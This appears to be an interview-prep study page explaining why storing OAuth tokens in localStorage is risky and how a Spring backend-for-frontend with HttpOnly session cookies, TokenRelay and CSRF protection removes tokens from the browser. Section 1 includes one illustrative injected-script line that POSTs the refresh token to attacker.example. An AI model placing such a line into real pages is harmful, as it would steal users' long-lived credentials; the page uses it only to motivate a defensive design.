Scrivio Interview library
DesignIntermediate6 min read · updated 12 November 2026

A React single-page app talks to several Spring APIs. The team stores access and refresh tokens in localStorage. Propose a safer design with Spring and explain why.

Tokens in localStorage can be read by any script that runs on the page, so one XSS bug hands an attacker the user's access and refresh tokens. A safer design is a backend-for-frontend: a Spring application runs the authorization code flow with oauth2Login, keeps the tokens on the server, gives the browser only an HttpOnly, Secure, SameSite session cookie, and relays API calls with the access token, for example through Spring Cloud Gateway's TokenRelay filter. Because cookies are sent automatically, the BFF must also enable CSRF protection.

Why this question is asked

Single-page apps often grew up storing tokens in the browser because it was simple: log in, put the token in localStorage, add it to every fetch. Security guidance for browser apps has since moved firmly toward keeping tokens out of JavaScript entirely. Interviewers ask this to see whether we understand why, and whether we can describe the replacement design with real Spring pieces rather than vague advice. In this answer, we will look at the risk of localStorage, build the backend-for-frontend, configure the session cookie and CSRF protection, and follow a request through the BFF to the APIs.

1Why localStorage Is the Problem

localStorage is a key-value store in the browser that any JavaScript running on the page can read. That includes our own code, every npm package bundled into the app, any analytics script and, most importantly, any script an attacker manages to inject through XSS, cross-site scripting, a bug that lets attacker-controlled text run as code in our page.

With tokens in localStorage, one XSS bug is enough to send the access token and the refresh token to the attacker's server. The refresh token is the worst part: it can be used from anywhere to obtain new access tokens for days or weeks, long after the user closed the tab. We cannot promise that a large React app with hundreds of dependencies will never have an XSS bug, so we design so that a bug cannot steal tokens.

Java
// what an injected script can do in the current design
fetch("https://attacker.example/c", { method: "POST",
body: localStorage.getItem("refresh_token") }); // the attacker now has long-lived access

2The Backend-for-Frontend Design

A backend-for-frontend, BFF for short, is a small server-side application that belongs to the SPA and sits between it and the APIs. It is a confidential OAuth2 client: it has its own client secret and runs the authorization code flow with PKCE on the server. After login it keeps the access and refresh tokens in its server-side session. The browser gets only a session cookie.

In Spring, the BFF can be a Spring Cloud Gateway application with oauth2Login(), which does the code flow, and the TokenRelay filter, which takes the logged-in user's access token from the session and adds it as a bearer token to requests it forwards to the APIs. The APIs remain ordinary resource servers and do not change.

Step throughLogin and an API call through the BFF
Browser (React)BFF (Spring)Identity providerOrders API
GET /oauth2/authorization/idp
redirect to login with PKCE
user logs in
redirect back with code
callback with code
exchange code + secret + verifier
access and refresh tokens
Set-Cookie: SESSION (HttpOnly)
GET /api/orders with cookie and CSRF header
GET /orders with Bearer token (TokenRelay)
orders, via the BFF

11 messages in order. Play them, or step through them one at a time.

The tokens travel only between the BFF, the provider and the APIs; the browser never sees them.

3Configuring the BFF in Spring

The gateway's routes forward /api/** to the APIs with the token relay, and the security configuration turns on login, a protected session and CSRF protection.

Java
spring:
cloud:
gateway:
routes:
- id: orders
uri: http://orders-api:8080
predicates: [ Path=/api/orders/** ]
filters: [ TokenRelay=, StripPrefix=1 ]
server:
reactive:
session:
cookie: { http-only: true, secure: true, same-site: lax }
@Bean
SecurityWebFilterChain bff(ServerHttpSecurity http) {
http.authorizeExchange(a -> a.anyExchange().authenticated())
.oauth2Login(Customizer.withDefaults())
.csrf(c -> c.csrfTokenRepository(CookieServerCsrfTokenRepository.withHttpOnlyFalse()));
return http.build();
}

Three cookie attributes do the work. HttpOnly means JavaScript cannot read the session cookie, so an XSS bug cannot copy it. Secure means it is sent only over HTTPS. SameSite=Lax means the browser does not attach it to most cross-site requests, which reduces CSRF risk. The property names differ between servlet and reactive applications and between Boot versions, so check your version.

4Why CSRF Protection Comes Back

Bearer tokens in a header are immune to CSRF, cross-site request forgery, because a malicious site cannot make the browser add our header. A session cookie is different: the browser attaches it automatically to requests to our domain, including requests triggered by another site's form. So once the BFF uses a cookie, it must check a CSRF token on every state-changing request.

The configuration above uses Spring Security's cookie-based CSRF repository: the BFF sets a readable XSRF-TOKEN cookie, and the React app copies its value into an X-XSRF-TOKEN header, which an attacker's site cannot read or set. Many HTTP libraries do this automatically. Newer Spring Security versions also offer a shortcut for single-page apps; check your version.

5What We Gained and What It Costs

An XSS bug is still serious, because the attacker's script can make requests through the BFF while the page is open. But it can no longer steal tokens and use them elsewhere later, and the refresh token never reaches the browser at all. Logout can now truly end access, because the BFF can drop the session and revoke the tokens.

The cost is one more component to run, a session store if the BFF has several instances (for example Spring Session with Redis), and one more hop for each API call. For most apps that is a small price for removing token theft from the threat list.

6Follow-up questions

Would sessionStorage or an in-memory variable be good enough?

sessionStorage has the same problem, since any script can read it. Keeping the access token only in a JavaScript variable is better, but injected script can still read it while the page runs, and the app then needs a refresh token or silent login somewhere. The BFF removes tokens from the browser completely.

Who refreshes the access token in the BFF design?

The BFF does. The OAuth2 client support in Spring Security checks the stored token before relaying and, if it has expired, uses the refresh token to get a new one. The browser notices nothing except that requests keep working.

Does the BFF have to be a gateway?

No. A plain Spring MVC application with oauth2Login and its own controllers that call the APIs with RestClient is also a BFF. The gateway is convenient when most requests simply pass through to APIs.

7Conclusion

In this answer, we saw that tokens in localStorage are readable by any script, so a single XSS bug leaks long-lived refresh tokens. A backend-for-frontend fixes this: a Spring application runs the code flow with oauth2Login, keeps tokens in its server-side session, gives the browser an HttpOnly, Secure, SameSite cookie, and forwards API calls with the access token through TokenRelay, refreshing it when needed. Because the cookie is sent automatically, we turned on CSRF protection with a token the SPA sends in a header.

What to say in the interviewAbout 80 seconds aloud

Open with

The problem with localStorage is that every script on the page can read it, so a single XSS bug, in our code or in any of hundreds of dependencies, lets an attacker copy both tokens.

Then, if they want more

The refresh token is the real damage, because it works from anywhere for days. I would move the tokens out of the browser with a backend-for-frontend.

That is a small Spring application, for example Spring Cloud Gateway, configured as a confidential OAuth2 client with oauth2Login, so it runs the authorization code flow with PKCE on the server and keeps the access and refresh tokens in its session. The browser only gets a session cookie that is HttpOnly, Secure and SameSite, so JavaScript cannot read it.

The React app calls the BFF's /api routes, and the TokenRelay filter adds the user's access token as a bearer token when forwarding to the APIs, refreshing it with the refresh token when it expires. The APIs stay ordinary resource servers.

Because the browser now sends a cookie automatically, I would turn on CSRF protection, with Spring's cookie-based CSRF token that the SPA sends back in a header. The cost is one more service and a shared session store, which is worth removing token theft.

About this answer

Last updated
12 November 2026
Checked
Its structure and format are checked automatically. Use it as a carefully prepared study note: where a detail matters, confirm it against the documentation below. What the checks cover
Where the question comes from
Written by Scrivio for practice. It is not taken from an interview.
Report an issue with this answer

Copy the line below and send it to the author with what you found. It carries the address of this page.

Issue with "A React single-page app talks to several Spring APIs. The team stores access and refresh...": https://scrivio-interview-library.netlify.app/spring-boot/oauth2-and-oidc/246b6c5c41/